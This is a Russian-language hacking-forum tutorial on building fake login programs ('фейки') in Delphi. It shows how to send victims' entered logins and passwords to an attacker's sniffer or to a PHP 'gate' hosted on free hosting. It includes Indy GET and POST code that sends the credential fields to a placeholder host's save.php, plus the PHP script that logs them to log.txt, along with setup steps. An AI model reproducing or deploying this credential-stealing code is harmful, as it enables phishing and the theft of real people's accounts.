Обычно, "для удобства" люди пишут фейки с отправкой на мыло, в ICQ, на FTP, но не все знают (хотя некоторые знают но забивают на это) что ваши авторизационные данные (логины пароли от FTP, мыла или ICQ) могут быть легко перехвачены и соответственно аккаунты могут быть угнаны.
Во избежание этого я рекомендую использовать отправку на сниффер или гейт. В этой статье я опишу, как можно реализовать отправку данных на гейт или сниффер.
Отправка на сниффер.
Наверное, самый простой способ отправки и не раз описывался, но я его не буду пропускать.
Кладём на форму 2 Edit'a, 1 кнопку и IDhttp (из вкладки Indy Clients).
Кликаем дважды на кнопку и пишем код:
Code
idhttp1.Get('http://ваш_сниффер?Login='+edit1.text+' |Pass='+edit2.text);
Минусы местного сниффера - 30 логов максимум.
В сниффере от каника - бесконечное кол-во логов и другие няшки.
Как установить?
Регаем себе хост на holm.ru или на wt8.ru (пойдёт любой бесплатный хостинг с поддержкой php и FTP).
Скачиваем FTP клиент FileZilla, входим с логином и пассом от нашего хоста (должны прийти по почте или в панели управления найдутся).
Заливаем файлы из архива в корень (или в поддиректорию, без разницы) и настраиваем сниффер под себя (читаем readme.txt из архива).
Всё, переходим на главную старницу нашего хоста (если заливали в корень) или в поддиректорию.
Отправка на гейт.
Более сложный процесс, для этого нам понадобится хостинг с поддержкой FTP и PHP, как создать его - читайте выше.
Создали? Идём дальше.
Создаём файл с именем save.php и следующим содержанием:
PHP код:
Code
<?
$data = $_[B]GET[/B]['content'];
$filename = "log.txt";
if ( is_writeable($filename) ) :
$fh = fopen($filename, "a+");
$success - fwrite($fh, $data);
fclose($fh); else :
print "Could not open Sfilename for writing";
endif;
?>
аливаем файл на ваш хост вместе с файлом log.txt (обязательно!).
Выставляем права 777 на log.txt и save.php.
Обратите внимание на выделенное мною слово GET, тут будут 2 пути - либо передача данных к скрипту методом GET или методом POST. Что выбрать - дело ваше, но настройка для этих типов разная.
Если выбрали метод GET - оставляем скрипт без изменений, если POST - меняем выделенное слово GET на POST соответственно.
Коды обработчиков событий клика для кнопки для этих методов тоже разные.
Код для метода GET:
Code
idhttp1.get('http://ваш_хост/save.php?content=Login='+edit1.text+'|Pass='+edit2.text);
Код для метода POST:
Code
var
data:tstringlist;
begin
data:= tstringlist.Create;
data.Add('content= Login='+edit1.text+' |Pass='+edit2.text);
idhttp1.Post('http://ваш_хост/save.php',data);
data.Free;
Как вы поняли, в var необходимо добавить описание переменной data.
Всё!
После того, как жертва вводит свой логин и пароль в ваши поля в программе, все данные записываются в файл log.txt.
Плюсы и минусы передачи данных методом GET:
+Короткий код обработчика события клика в Delphi
+Схожесть с использованием сниффера
-Невозможно использовать пробелы в запросе
Плюсы и минусы передачи данных методом POST:
+Возможно использовать пробелы
+Более удобный и хороший способ (ИМХО)
-Больший код обработчика клика в Delphi